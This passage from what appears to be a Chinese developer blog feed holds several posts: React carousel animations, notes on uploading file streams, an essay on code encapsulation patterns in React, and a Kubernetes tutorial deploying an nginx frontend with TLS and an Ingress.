opacity: 1;
z-index: 1;
}
.secondAvatar {
transform: translateX(20px);
opacity: 1;
z-index: 2;
}
.thirdAvatar {
transform: translateX(40px);
opacity: 1;
z-index: 3;
}
.fadeInAvatar {
transform: translateX(-20px);
opacity: 0;
z-index: 2;
}
.fadeOutAvatar {
transform: translateX(60px);
opacity: 0;
z-index: 2;
}
}

实现动画的关键就是动态改变图片DOM的类名,触发对应类名的css动画:

useEffect(() => {
// 头像轮播思路:动态改变类名,触发对应类名的css动画
// avatarList的最前面添加最后一个元素,最后面添加第一个元素,方便轮播
const tempAvatarList = (avatarList as string[]) || [];
// 如果头像数量小于5,则用兜底图填充
if (tempAvatarList.length < 5) {
const avatarsNeeded = 5 - tempAvatarList.length;
for (let i = 0; i < avatarsNeeded; i++) {
tempAvatarList.push(
'https://gtms03.alicdn.com/tps/i3/TB1LFGeKVXXXXbCaXXX07tlTXXX-200-200.png'
);
}
}
setAvatarList([...tempAvatarList]);
// 轮播动画,将第一个类名移动到最后一个
const next = () => {
setAvatarClass(prevAvatarClass => {
if (prevAvatarClass.length > 0) {
return [...prevAvatarClass.slice(1), prevAvatarClass[0]];
}
return prevAvatarClass;
});
};
avatarTimerRef.current = setInterval(next, 1600);
// 组件销毁时清除定时器
return () => clearInterval(avatarTimerRef.current);
}, []);

弹幕轮播动画

弹幕轮播动画.gif

这个弹幕轮播动画实现起来比上面的头像轮播复杂一点,但核心原理都是利用CSS实现滚动,滚动到指定位置后复位重新开始滚动即可。

组件的DOM结构如下:

return (
<div className={styles.barrageCarouselContainer}>
<h3>弹幕轮播动画</h3>
<div className={styles.BarrageListContainer} ref={BarrageListContainerRef}>
<div
className={styles.barrageRow}
ref={moveBarPreRef}
style={{
transform: `translateX(${0}px)`
}}
>
<BarrageRow barrageRowData={barrageArrayData} rowIndex={0} />
</div>
<div
className={styles.barrageRow}
ref={moveBarNextRef}
style={{
transform: `translateX(${PARENT_WIDTH}px)`
}}
>
<BarrageRow barrageRowData={barrageArrayData} rowIndex={1} />
</div>
</div>
</div>
);

其中,BarrageRow 组件表示一个弹幕容器,实现弹幕滚动的原理就是设置一前一后两个容器,前一个容器显示完后,后一个容器开始显示,同时前一个容器重置位置。两个容器的初始位置不同:

image.png

image.png BarrageRow组件代码如下:

// 弹幕列
const BarrageRow = (props: { barrageRowData: BarrageItemDTO[]; rowIndex: number }) => {
const { barrageRowData, rowIndex } = props;
return (
<>
{barrageRowData.map(item => {
return (
<div className={styles.barrageItem} key={`${item.id}-${rowIndex}`}>
{item.content}
</div>
);
})}
</>
);
};

实现动画的一些初始化设置如下:

const PARENT_WIDTH = 400; // 弹幕容器宽度,单位px
const BARRAGE_SPEED = 80; // 弹幕速度(px/s)

const barrageList: BarrageItemDTO[] = [
{ content: '弹幕111', id: '1' },
{ content: '弹幕22222', id: '2' },
{ content: '弹幕33333', id: '3' },
{ content: '弹幕4444444', id: '4' },
{ content: '弹幕555555', id: '5' },
{ content: '弹幕666666666666666666666666666', id: '6' },
{ content: '弹幕7777777777777', id: '7' },
{ content: '弹幕8', id: '8' }
];
const speed = BARRAGE_SPEED; // 弹幕速度,单位px/s

const BarrageListContainerRef = useRef<HTMLDivElement>(null); // 弹幕容器,用于获取宽度
const destoryRef = useRef(false); // 是否销毁
const moveBarPreRef = useRef<HTMLDivElement>(null); // 前一个容器
const moveBarNextRef = useRef<HTMLDivElement>(null); // 后一个容器

// 弹幕数量不足,重复弹幕,确保展示的弹幕能够超过容器宽度(必须满足,否则时间会有问题)
// 只会导致key重复,不会有其他问题
const handleBarrage = (barrageArray: BarrageItemDTO[]) => {
if (barrageArray.length < 8) {
const tempArray = [...barrageArray];
while (tempArray.length < 8) {
tempArray.push(...barrageArray);
}
return tempArray;
} else {
return barrageArray;
}
};
const barrageArrayData =
!barrageList || barrageList.length === 0 ? [] : handleBarrage(barrageList);

实现动画的核心逻辑如下,可以概括为:

  1. 第一个容器一开始就开始向左移动,并计算两个时间:容器右移动到外部盒子右边的时间(此时第二个容器开始移动)和容器右移动到外部盒子左边的时间(此时第一个容器要复位)
  2. 对第二个容器进行相同的计算,并且一直循环下去。
// 动画初始化
const initAnimate = () => {
const BarrageListContainerWidth = (BarrageListContainerRef.current?.offsetWidth as number) || 0;
const preOffset = (moveBarPreRef.current?.offsetWidth as number) || 0;
const nextOffset = (moveBarNextRef.current?.offsetWidth as number) || 0;

if (destoryRef.current) {
return;
}

// 计算前一个容器的移动时间,*1000是为了转换成ms
const preMoveTime = (preOffset * 1000) / speed;
// 设置前一个容器的移动时间和移动距离,实现移动动画
if (moveBarPreRef?.current?.style) {
moveBarPreRef.current.style.transition = `all ${preMoveTime}ms linear`;
moveBarPreRef.current.style.transform = `translateX(-${preOffset}px)`;
}
// 动画完成自动reset
setTimeout(() => {
moveReset(moveBarPreRef);
}, preMoveTime + 50);

// 前一个容器的宽度大于容器宽度,需要等待一段时间再移动,使其完全进入视线
const waitTime = ((preOffset - BarrageListContainerWidth) * 1000) / speed;

setTimeout(() => {
// 计算后一个容器的移动时间,*1000是为了转换成ms
const nextMoveTime = ((nextOffset + BarrageListContainerWidth) * 1000) / speed;
// 设置后一个容器的移动时间和移动距离,实现移动动画
if (moveBarNextRef?.current?.style) {
moveBarNextRef.current.style.transition = `all ${nextMoveTime}ms linear`;
moveBarNextRef.current.style.transform = `translateX(-${nextOffset}px)`;
}
// 动画完成自动reset
setTimeout(() => {
moveReset(moveBarNextRef);
}, nextMoveTime + 50);

// 当后一个容器已经完全进入视线时,前一个容器及时开启动画(此时前一个容器已经reset)
setTimeout(
() => {
moveAction(moveBarPreRef, moveBarNextRef);
},
(nextOffset * 1000) / speed
);
}, waitTime);
};

// 重置已经移动结束的容器,凭借到容器最右侧等待下一次移动
const moveReset = (tRef: any) => {
if (destoryRef.current) {
return;
}
const BarrageListContainerWidth = (BarrageListContainerRef.current?.offsetWidth as number) || 0;
const element = tRef.current;
if (!element) return;
element.style.transition = '';
element.style.transform = `translateX(${BarrageListContainerWidth}px)`; // 记得使用px单位
};

// 循环移动
const moveAction = (tRef: any, nRef: any) => {
if (destoryRef.current) {
return;
}
// 开启第二次循环动画
const tElement = tRef.current;
const BarrageListContainerWidth = (BarrageListContainerRef.current?.offsetWidth as number) || 0;
const nowOffset = (tElement?.offsetWidth as number) || 0;
const moveTime = ((nowOffset + BarrageListContainerWidth) * 1000) / speed;
tElement.style.transition = `all ${moveTime}ms linear`;
tElement.style.transform = `translateX(-${nowOffset}px)`;

setTimeout(() => {
moveReset(tRef);
}, moveTime + 50);

// 递归调用,实现无限循环
setTimeout(
() => {
moveAction(nRef, tRef);
},
(nowOffset * 1000) / speed
);
};

注意:本弹幕动画的实现由于使用了计时器,且实现较为简陋,无法手动控制弹幕的播放与暂停,当页面有大量弹幕时可能会遇到性能问题,建议不渲染的弹幕组件及时销毁掉,防止页面卡顿。

by 明远湖之鱼 at January 24, 2025 03:38 AM

上传文件流给后端的注意事项

背景

常规流程中,需要把文件传给公共服务器,然后回传地址,只需要把地址给对应的业务。

但敏感业务中,需要对应的文件放到业务域下,一个是增加安全性,一个是避免不必要的云资源空间浪费。

也有些场景是为了避免交互成本,比如点击了上传,但最终其实业务用不到,用户也不是强需求下次进入的时候,仍然展示。 这种可以借用本地文件进行展示,对于腾讯,也提供了一些云地址可以用于过程中的展示,业务需要的时候,再从腾讯云端下载这个文件即可。

文件流本身的注意事项

1 请求参数本身

之前的技术方案是需要使用form提交,现在不需要如此,只需要使用formData即可。

let data = new FormData();
data.append("file", file);

2 请求头的设置

这个设置也可以分为两种,一种是每个方法里增加,一种是传参的时候,增加统一的方法规则,比如传入类似file的标识,然后在请求的烂机器里做这个添加头的事情。

 headers: {
            "Content-Type": "multipart/form-data",
        },

3 拿到原始的文件对象

目前大多数场景,都不需要我们手写上传控件,antd 和 element-ui 都会吧文件对象封装给我们,我们需要和后端同学达成协议,使用什么格式的文件他们才方便接受。

一种可能是,无论组件给的是何种,我们都可以转为Blob对象,然后传递给后端。

还有一种,就是传file对象,不过不同组件封装之后拿到的是不同的,

antd 中的原始文件对象是file.originFileObj ,而 ele中的上传控件,原始对象是file.raw .

其属性截图如下:

正常情况下,后端需要根绝这个标准对象拿到文件名,大小,类型,其中文件名中常规情况需要包含扩展名进行相关的判断,否则会导致错误。

4 因为整个请求变为一个常规的api 请求,而不是form的提交。

因此可以通过常规的response.code 来判断整体的请求是成功和失败,而不需要根据因为包含了文件流的上传给特殊的错误捕获。

扩展

你还遇到什么有关上传文件流的技术问题么?常见的还有:

1 上传大文件

2 上传多个文件

3 如何判断不包含后缀名的文件类型

4 上传压缩包

5 提供多个文件的压缩上传

6 取消或者恢复文件的上传过程

7 无损压缩图片

8 各种文件的预览

9 图片的裁剪

10 多图片合成新图片

by 余杭子曰 at January 24, 2025 03:36 AM

函数式编程中各种封装的对比以及封装思路解析

本文只在掘金发布!年前还在写文章的作者不多了啊,还不给个赞😁

平时在开发过程中,难免会碰到重复的组件和业务逻辑,该如何封装确实是一个问题,本文就业务封装这个问题,给各位提供一个思路。

其实不论在开源库的开发,还是公司具体业务逻辑的开发中,封装的思路都是一致的,就是要保证 单一职责原则,并实现内部信息的隐藏和抽象,同时需要尽可能的解耦合,或者采用组合的方式来封装。

从设计模式上解释,就是说要使用一个工厂类或组件,批量生产相同业务逻辑的产品,同时需要支持通过不同的参数动态的切换工厂产品的类别,此外,每一个产品也可以引入监听者机制,让观察者更好的把控生产出来的产品的动向和状态变化。

好的封装的表现

  • 稳定,广泛使用后不出故障
  • 数据隔离,不影响其他组件和数据
  • 易用,引入即可使用,不需要单独做过多适配
  • 高复用性,至少3处业务逻辑中能够使用
  • 性能好
  • 可扩展,能够提供类似于插件功能,不改源代码的前提下增强封装
  • 可测试
  • 文档齐全

封装的种类

根据场景和用途可以分为数据封装、功能封装、接口封装、UI 封装等多个层面。

依据具体实现形式,又可分为 Hook封装、组件封装、普通函数封装、ES模块化提取(用好 import和export)、npm打包等。

数据封装

应用场景:

  • 状态管理工具的封装(如 Redux、MobX)
  • 数据格式化(如时间格式转换、货币显示)
  • 本地存储封装(如对 LocalStorage 或 SessionStorage 的封装)
  • 微服务里消息传递服务
  • ...

功能封装

也可以叫逻辑封装,这个范畴就很广了,封装内部的所有成员都是为了实现这一功能或者业务逻辑而存在的,我们在业务中最常用。

应用场景:

  • 表单验证逻辑。
  • API 请求封装。
  • 通用工具方法(如深拷贝、节流、防抖等)。
  • 获取接口信息 (如实现一个hook,初始化时请求接口或者登录来获取用户数据)
  • 大型组件开发中的拆解封装 (如x6中,一个节点、一个边,画布等都是独立的组件)
  • 滚动、窗口大小等事件监听逻辑。
  • ...

接口封装

一般是封装系统内的接口请求,统一调用。

这里给出一个 axios 最小使用范例:

// 封装 service
function services(baseConfig, headers) {
  const { baseURL, timeout, method, responseType } = baseConfig;
  axios.defaults.headers['Content-Type'] = 'application/json; charset=UTF-8';
  axios.defaults.baseURL = baseURL;

  const instance = axios.create({
    timeout,
    method,
    responseType
  });

  instance.interceptors.request.use(
    function (config) {
      // ...
      return config;
    },
    function (error) {
      return Promise.reject(error);
    }
  );

  instance.interceptors.response.use(
    async function (response) {
      let Action = parseAction(response);
      if (response.data.RetCode === ErrorCodeMap.notLogged) {
        // 未登录逻辑处理
        return;
      }

      // 普通请求的错误信息
      if (response.data.RetCode !== 0) {
        return Promise.reject({
          message: response.data.Message,
          RetCode: response.data.RetCode
        });
      }
      return response;
    },
    function (error) {
      let Action = parseAction(error);
      // 接口非200处理逻辑
      return Promise.reject(error);
    }
  );

  return instance;
}

// 导出 fetch
export const fetch = services(baseConfig, defaultHeaders);

UI 封装

此类封装侧重于样式提取和 css 的聚合。

应用场景:

  • 设计系统(如 Ant Design、Material-UI 中提供 useTheme 和 designToken 配置主题)
  • 开发组件库
  • 复用性强的交互组件(如图表、表格、分页器等)
  • ...

封装思路示例

案例讲解:axios 封装

还是上边,接口封装的例子,他只是一个简单的实现,其中有很多问题。


比如,不同的业务模块,可能baseUrl是一样的,但后缀一定是不一样的,但是一开始传入的baseConfig是定死的,这个要如何处理?

可考虑生成多分 service 单例,这个services就是一个工厂,内部怎么处理数据、怎么拦截错误,在出厂时就设置好了,对照说明书直接使用即可。

export const fetch = services(baseConfig, defaultHeaders);
export const fetchFile = services(fileConfig, defaultHeaders);

这里的 axios.create 产生出一个个的 service,就是为了解耦,让不同类别的请求之间的数据隔离


但是,对于同一个 fetch,baseConfig 也可能不一样,比如有 GET,有POST 等不同的方式,如何告诉 service 呢?当然可以在 baseConfig 里写method,但是这就有好几个了:

export const fetch = services(getBaseConfig, defaultHeaders);
export const postfetch = services(postBaseConfig, defaultHeaders);
export const putfetch = services(putBaseConfig, defaultHeaders);

你当然可以这么写,但是这么写有点想当然了。这样写产生了不必要的 axios 实例,违背了复用性原则。仅仅是 method 不一样,你完全可以再包一层 fetchData,接受 method 参数 (其他参数也一样),都统一调用这一个 fetch 即可。


再比如,接口虽然是有了,但是我有个业务需求需要轮询,我该怎么实现?

第一印象是设置定时器,当拿到数据后关掉定时器;再一想也可以使用 定时器 + axios 的 AbortController,但是需要维护一个局部的 controller 来调用:

function fetchData(url) {
  // 创建一个 AbortController 实例
  const controller = new AbortController();

  // 发起请求并传递 signal
  const request = fetch({
    // ...
    signal: controller.signal, // 传递 AbortController 的 signal
  });

  // 返回请求和控制器,方便调用者使用
  return { request, controller };
}

// 示例用法
const { request, controller } = fetchData('/api/data');

request
  .then((response) => {
    console.log('Response:', response.data);
  });

// 在外部的定时器中,先取消请求,再调用 fetchData
controller.abort();

如果时间紧任务重,可考虑 useRequest:

const { run, cancel } = useRequest(youService, {
    manual: true,
    pollingInterval: 5000,
    onSuccess: (resp) => {
      ...
    }
})

案例讲解:页面权限判断的功能

我先描述一下需求,这个也是最近刚做的一个业务:

描述:需要通过接口获取当前用户订阅的套餐包和余额,动态提示用户

判断条件:如果套餐包里有发邮件这个权限,就可以使用,否则的话再判断余额有没有,有的话直接扣余额也可以下发,如果余额也没有了,就弹窗提示去订阅或充值。

接到这个需求你会怎么做?

直接的做法,在需要判断的地方,页面初始化调接口分别获取套餐包和余额,再加一个判断函数,然后在点击发送的时候调用这个判断函数,不合适就弹窗。

调接口获取套餐包的功能用的比较多,可以封装起来放在 redux 里,余额的话,因为扣费的渠道太多,有可能有的是后台或者第三方直接扣费的,为了保持数据最新需要实时获取,在需要的时候直接请求就行。但是这个弹窗呢?因为发送这个动作在这个业务系统里有好几处,不能每个地方都写一遍弹窗吧。

我就单独封装到公共组件中了,但是又有个问题,判断函数和这个弹窗组件,逻辑上是割裂的,但功能上又是统一的。但若放在不同的位置,这不满足高内聚的原则,因为他们目前还是高度绑定的,这怎么办呢,我干脆一不做二不休,把判断函数和弹窗写在一起,做了一个高阶组件:

export default function SendGuardian(props) {
  // 高扩展性的体现,使用 children 组合而非继承,可以任意匹配内部dom元素
  const { children: Children, product, callback } = props;
  
  const navigate = useNavigate();
    
  // redux 里拿套餐包
  const buyPackage = useSelector((state) => state.customization.buyPackage) || {};

  const [amount, setAmount] = useState();
  const [open, setOpen] = useState(false);
  const [loading, setLoading] = useState(false);

  const getBalance = useCallback(() => {
    // 接口拿实时余额
  }, []);

  // 套餐包有这个购买权限
  const current = buyPackage.flag && buyPackage.EmailLimit > 0;

  // 判断函数
  const canSend = () => {
    return current || amount > 0;
  }

  // 给孩子传入一个 onClick,点击后调用
  const handleClick = (e) => {
    e?.stopPropagation();
    if (canSend()) {
      callback && callback(e);
      return;
    }

    // 没有权限发送就弹窗提示
    setOpen(true);
  };

  const handleCloseDialog = () => {
    setOpen(false);
  };

  // 初始化调用接口
  useEffect(() => {
    getBalance();
  }, []);

  return (
    <>
      {loading ? (
        <CircularProgress size={24} sx={{ ml: 4 }} />
      ) : (
        <>
          // 记得首字母大写
          <Children onClick={handleClick} />
        </>
      )}

      <Dialog open={open} onClose={handleCloseDialog} maxWidth="sm" fullWidth>
        我是弹窗提示
      </Dialog>
    </>
  );
}

下面是使用:

<SendGuardian callback={() => apply(val)}>
  {({ onClick }) => (
      <IconButton aria-label="send" size="small" onClick={onClick}>
        <SendIcon fontSize="small" />
      </IconButton>
  )}
</SendGuardian>

在使用时,传入一个匿名组件,这个组件会接受一个上面传入的那个 onClick,这个 onClick 就可以被内部自定义的使用了。callback 可以作为有权限时的回调使用。

是不是觉得这个封装很完美???然而不然,反而相当糟糕!!


首先,他的适用性比较差,他只能使用在页面只有一两个的地方,如果是列表就不行了。试想,一个 Table 的每一行都有个发送按钮,这个按钮需要权限,那我们在 render 时候是不是每一行都需要用这个 SendGuardian 包裹一下呀?

结果如图:

Shadow-Snapshot-Download.webp

每一次使用都请求了接口,这是不能忍受的,显然这里不适用。

其次,解耦合也没有做得很好,发送守卫和获取余额本质上是没有关系的,我们还是应该拆开来写。


来看看 2.0 版:

将获取实时余额单独封装为一个 hook:

export const useAmount = () => {
  const [loading, setLoading] = useState(false);
  const [amount, setAmount] = useState();

  useEffect(() => {
    // GetBalance 并 setAmount
  }, []);

  return [amount, loading];
};

SendGuardian 就可以精简了, 新加两个 props:amount, loading:

export default function SendGuardian(props) {
  const { children: Children, product, amount, loading, callback } = props;
  
  const navigate = useNavigate();
    
  // redux 里拿套餐包
  const buyPackage = useSelector((state) => state.customization.buyPackage) || {};

  const [open, setOpen] = useState(false);

  // 套餐包有这个购买权限
  const current = buyPackage.flag && buyPackage.EmailLimit > 0;

  // 判断函数
  const canSend = () => {
    return current || amount > 0;
  }

  // 给孩子传入一个 onClick,点击后调用
  const handleClick = (e) => {
    e?.stopPropagation();
    if (canSend()) {
      callback && callback(e);
      return;
    }

    // 没有权限发送就弹窗提示
    setOpen(true);
  };

  const handleCloseDialog = () => {
    setOpen(false);
  };

  return (
    <>
      {loading ? (
        <CircularProgress size={24} sx={{ ml: 4 }} />
      ) : (
        <>
          // 记得首字母大写
          <Children onClick={handleClick} />
        </>
      )}

      <Dialog open={open} onClose={handleCloseDialog} maxWidth="sm" fullWidth>
        我是弹窗提示
      </Dialog>
    </>
  );
}

这样,那个多次请求接口的问题就解决了


但是还没完,这个封装还需要考虑判断函数的适用性。

这里只是做了能不能发邮件的判断,如果有新的业务来,canSend 内部逻辑可能完全不一样,弹窗提示可能也不一样。可以考虑将所有的业务形态封装一个枚举,在这个 SendGuardian 组件里在接受一个 productType 字段来区分业务,各个具体的判断逻辑又可以从各个业务形态中获取,而不是写死在 SendGuardian 里。上面也提到了,判断函数和弹窗本身逻辑上也是没关系的,他们不应该被写在一起。

export const useCanSend = (amount, productType, loading) => {
  const buyPackage = useSelector((state) => state.customization.buyPackage) || {};
  const current = buyPackage.flag && buyPackage.EmailLimit > 0;

  if (loading) {
    return false;
  }

  // TODO: 这里可以根据 productType 来写判断,判断逻辑可以从各个业务封装中读取
  return current || amount > 0;
};

此时,SendGuardian 又能减负了:

// 函数内不要任何的硬编码,上面的 loadingSize={24} 也要提出传参,amount参数就不要了
export default function SendGuardian(props) {
  const { children: Children, productType, canSend, loading, loadingSize, callback } = props;
  
  const navigate = useNavigate();

  const [open, setOpen] = useState(false);

  // 给孩子传入一个 onClick,点击后调用
  const handleClick = (e) => {
    e?.stopPropagation();
    if (canSend) {
      callback && callback(e);
      return;
    }

    // 没有权限发送就弹窗提示
    setOpen(true);
  };

  const handleCloseDialog = () => {
    setOpen(false);
  };

  return (
    <>
      {loading ? (
        <CircularProgress size={loadingSize} />
      ) : (
        <>
          // 记得首字母大写
          <Children onClick={handleClick} />
        </>
      )}
     
      // 弹窗提示也可以根据 productType 定制,当然也可以单独为一个组件,这里引用
      <Dialog open={open} onClose={handleCloseDialog} maxWidth="sm" fullWidth>
        我是弹窗提示
      </Dialog>
    </>
  );
}

封装的原则之一就是解耦合,不要硬编码!虽然我们不是写的 vue、antd 这种大型的公共库,但小的业务项目也不能马虎。

使用:

const productType = ProcuctType.Email;

const [amount, amountLoading] = useAmount();
const canSend = useCanSend(amount, productType, amountLoading);

... 

<SendGuardian
  productType={productType}
  canSend={canSend}
  loading={amountLoading}
  loadingSize={16}
  callback={() => apply(item)}
>
  {({ onClick }) => (
      <IconButton aria-label="send" size="small" onClick={onClick}>
        <SendIcon fontSize="small" />
      </IconButton>
  )}
</SendGuardian>

这里的 loading 传入的是 amountLoading,后面有其他的请求判断时,直接都传入loading即可

这里的实现只是伪代码的形式,很多细节没有深究,比如 canSend 的判空、Children 类型检测、只是单一监听 onClick等。

如果你有代码封装的经验,还能看出上面还有不少问题,比如 这个 Dialog,写死在这里肯定不合适,是不是写一个 CommonModal 然后这里引用呢?CommonModal 内部就可以自由的传参来控制显示的文字和形态了。


上面的例子,就涵盖了功能封装、Hook封装、组件封装等,他们直接区别如下:

特性封装 Hook封装组件封装普通函数
作用域用于管理组件中的状态、副作用等,比如接口调用用于定义 UI 组件和它的逻辑,比如弹窗用于处理数据或功能逻辑,比如 canSend
返回值返回状态和操作方法返回 JSX,表示组件 UI返回数据或结果
依赖关系必须遵守 Hook 的规则,避免条件/循环中的调用组件可以有 props,但需避免过于复杂的接口一般与外部状态无关,专注于计算或操作
更新方式通过 useState, useEffect 等管理更新通过状态或 props 来驱动渲染更新直接返回计算结果,无视 UI 渲染状态

案例讲解:类式封装

当然了,函数式编程中,类式封装也有他的一席之地。普通函数或者hook函数,本质上都是函数,只要在组件顶层中写了调用,每一次组价渲染都会被执行,会产生数据反复调用的情况。

这里举一个表单项的封装。

function FormItem(type, field) {
    const filterItem = {
      TextField: <TextField {...field} />,
      Select: <Select {...field} />
    }
    
    return filterItem[type];
}

这样封装的目的就是为了只定义一遍表单项,业务消费的时候直接返回声明好的。但是这样很成问题!!

一方面,传入的 type 不可控,出现找不到的情况就会返回 undefined;更重要的是,每次调用 FormItem,filterItem 都会被重新创建,生成一个大的对象在内存里,这就意味着整个 filterItem 内部的元素都被初始化了,即使你不使用这个 key 下的元素,内存浪费都是小事,偶尔会出现数据类型错误的页面崩溃才是大问题!

此时,类式封装就很有用,可以这样:

class FormItemComponent {
    static TextField(field) {
        return (
              <TextField {...field} />
        }
    }

    static Select(field) {
        return (
              <Select {...field} />
        }
    }
}

在函数式组件中使用:

const FormItem = FormItemComponent['TextField'];

静态方法是独立的函数,只有在明确调用某个静态方法时,才会执行该方法的逻辑,可以按需调用。

案例讲解:大型组件的封装

一些大型的独立的模块,往往需要开发者对需求进行细分后拆解封装。

这里举一个antv x6 的例子,看下面的画布,你想要怎么布局你的文件结构呢:

b15b3d58e98f4c3fb3c687023b4054cd~tplv-73owjymdk6-jj-mark-v1_0_0_0_0_5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5bCP6IKa6IKa6IKa6IKa6IKa5ZOm_q75.webp

下手之前要先明白 x6 的基础 API 有哪些,清楚需求和功能,然后逐步拆解:

  • 画布(是否拖拽、是否点击、是否滚动等)
  • 自定义节点1(单输出)
  • 自定义节点2 (两个输出)
  • 自定义边1 (绿色)
  • 自定义边2 (红色)
  • 点击加号的添加弹窗
  • 点击节点的表单弹窗
  • 操作 bar
  • 小地图

画布应该是基底,应该最先渲染,其他的组件应该是注册在画布上的;自定义节点需要单独封装,留好插槽给画布;点击加号的添加弹窗可以与节点封装在一起,如果每一个节点点击后弹窗是一样的,可以单独封装;点击节点的表单弹窗大概率是要和对应的节点类型高度绑定的;小地图可以猜出来 需要 x6 支持;操作 bar 可以自己写一个,绝对定位上去。

然后就可以布局文件结构了:

image.png

Xflow.jsx 中初始化画布:

const graph = new Graph({
      container: this.container,
      ...
})

注册小地图:

graph.use(
      new MiniMap({
         ...
      })
)

注册两种类型节点:

import { register } from '@antv/x6-react-shape';

register({
      shape: 'custom-react-node',
      ports: {...},
      // 引入 Node.jsx 中自定义的 dom 结构
      component: (props) => <CustomComponent {...props} tree={tree} readonly={this.readonly} />
})

register({
      shape: 'custom-react-condition-node',
      ports: {...},
      component: (props) => <CustomComponent {...props} tree={tree} readonly={this.readonly} />
})

注册两种边:

import { Graph, NodeView } from '@antv/x6';

Graph.registerEdge('next', {
  inherit: 'edge',
  label: '',
  router: {
    name: 'manhattan',
    args: {
      startDirections: ['top'],
      endDirections: ['bottom']
    }
  },
  connector: { name: 'rounded' },
  attrs: {
    line: {
      sourceMarker: 'circle',
      targetMarker: 'classic',
      stroke: '#80CBC4',
      strokeWidth: 4
    }
  }
});

Graph.registerEdge('false_next', {
  inherit: 'edge',
  label: '',
  ...
});

放入初始化数据:

graph.fromJSON(model, { silent: true });

这样初始化封装就完成了,接下来在这个基础上就可以开发诸如 增加节点、边,删除,弹窗等操作了。

上面的描述在于讲解如何拆解大的组件,从而更好地下手,并非 x6 的使用讲解

一些基础组件的封装可以看这篇:# React项目工程化业务封装实践

案例讲解:npm 封装

封装并发布到 npm 的包在前端开发中有许多使用场景,主要是为了提高代码复用性、共享性、可维护性和可扩展性。

npm 封装一般是打包自己的类库、工具库、样式库或者是公共组件等,他的使用方式与直接使用第三方依赖差不多。

比如我想自己写一套 Eslint 校验规则,让所有子项目都用这一套规则。可以参考:# ESLint配置项详解,并将配置打包npm

image.png

然后执行打包指令:

npm run publish:patch

此时在npm 仓库里(可以是你的私有仓库)就会有这个发布的版本了。

然后在项目里可以使用:

image.png

对于一些公共库,你可以直接在依赖里直接安装使用:

image.png


完!有不同的见解欢迎补充指正

by 小肚肚肚肚肚哦 at January 24, 2025 03:33 AM

k8s入门实践: 部署前端nginx镜像,并配置ingress

重要名词的通俗解释

镜像(Image)相当于容器(Container)的模板,两者的关系可以看成是安装光盘和安装出来的系统。容器是一个独立的运行环境,包括各种依赖项(代码/库/运行时)。

Pod是最小运行单元,一个Pod里可以指定一个或多个Container,每个Container需要指定各自的Image,以及可能的卷/端口/环境变量等参数。

Deployment用来管理Pod,Pod和容器在Deployment中声明,Deployment还可以指定Pod的副本数量等信息。 Service为Pod提供网络服务,可以通过标签选择器绑定到一组Pod,并提供一个固定IP,以确保Pod在动态扩缩容时外部始终可以通过该IP访问。 Ingress管理 HTTP 和 HTTPS 路由,为集群外部提供对 Service 的访问。

创建nginx 配置

编写configMap,存放nginx相关配置。前端nginx项目镜像会将dist文件拷贝到data目录下,因此如下配置:

apiVersion: v1
data:
  default.conf: |
    server {
        listen   *:80;

        server_name *.bressanone.com;

        client_max_body_size 1G;

        location / {
          root   /data/;
          index  index.html index.htm;
          try_files $uri $uri/ /index.html;
          gzip on;
          gzip_min_length 1k;
          gzip_buffers 4 16k;
          gzip_http_version 1.1;
          gzip_comp_level 9;
          gzip_types text/plain application/x-javascript application/json text/css text/javascript application/x-httpd-php image/jpeg image/gif image/png application/javascript;
          gzip_vary on;
        }
    }
kind: ConfigMap
metadata:
  name: bressanone-web-frontend.conf
  namespace: bressanone

应用配置

kubectl apply -f bressanone-web-frontend.conf.yaml

创建前端服务

编写deployment.yaml,部署前端nginx服务

kind: Deployment
apiVersion: apps/v1
metadata:
  name: bressanone-web-frontend
  namespace: bressanone
  annotations:
    description: bressanone-前端
spec:
  replicas: 1
  selector:
    matchLabels:
      app: bressanone-web-frontend
  template:
    metadata:
      labels:
        app: bressanone-web-frontend
    spec:
      containers:
        - name: bressanone-web-frontend
          image: your-image-registry/image
          env:
            - name: PAAS_APP_NAME
              value: bressanone-web-frontend
            - name: PAAS_NAMESPACE
              value: bressanone
          resources:
            limits:
              memory: 512Mi
            requests:
              memory: 512Mi
          volumeMounts:
            - name: localtime
              readOnly: true
              mountPath: /etc/localtime
            - name: bressanone-web-nginx-conf
              readOnly: true
              mountPath: /etc/nginx/conf.d/default.conf
              subPath: default.conf
          imagePullPolicy: Always
      volumes:
        - name: localtime
          hostPath:
            path: /etc/localtime
            type: ""
        - name: bressanone-web-nginx-conf
          configMap:
            defaultMode: 420
            name: bressanone-web-frontend.conf
      imagePullSecrets:
        - name: ***

应用配置

kubectl apply -f deployment.yaml

创建service

piVersion: v1
kind: Service
metadata:
  name: bressanone-web-frontend-service
spec:
  selector:
    app: bressanone-web-frontend
  ports:
    - protocol: TCP
      port: 80
      targetPort: 80
  type: ClusterIP

应用配置

kubectl apply -f service.yaml

openssl 生成SSL证书

  1. 生成私钥文件
openssl genrsa -out private.key 2048
  1. 生成证书签发请求文件
openssl req -new -key private.key -out certificate.csr

这一步会要求输入国家/地区等信息,其中Comon Name 需要设置为 目标域名 3. 生成自签名SSL证书

openssl x509 -req -days 365 -in certificate.csr -signkey private.key -out certificate.crt

创建tls secret

kubectl create secret tls bressanone-tls -secret --key private.key --cert certificate.crt -n muh

创建ingress 配置

编写ingress.yaml,设置路由转发

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: bressanone-ingress
  namespace: bressanone
spec:
  ingressClassName: nginx
  tls:
    - hosts:
        - bressanone.com  
      secretName: bressanone-tls
  rules:
    - host: bressanone.com
      http:
        paths:
          - path: /
            pathType: Prefix
            backend:
              service:
                name: bressanone-web-frontend-svc
                port:
                  number: 80
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: bressanone-backend-svc
                port:
                  number: 8080

应用配置

kubectl apply -f ingress.yaml

本地验证

在集群中可以通过curl对应域名,查看是否能返回前端文件内容。

在本地电脑,可以通过ifconfig查看主机ip,修改host文件,将该ip映射到对应域名,访问网站。

问题排查

ingress 配置不生效

首先检查是否已经部署了ingress 控制器

kubectl get pods -A | grep ingress

如果没有输出ingress-nginx-controller的pod,那就需要先部署ingress controller

部署ingress controller

curl -O https://raw.githubusercontent.com/kubernetes/ingress-nginx/main/deploy/static/provider/cloud/deploy.yaml

kubectl apply -f deploy.yaml

deploy.yaml里的镜像需要替换为国内的源,否则很容易部署失败,出现ImagePullBackOff的错误。

此外,deploy.yaml里创建的service,需要把类型改成NodePort

如果部署失败,可以通过以下命令查看日志

kubectl logs <pod-name> -n <namespace>

tls配置不生效
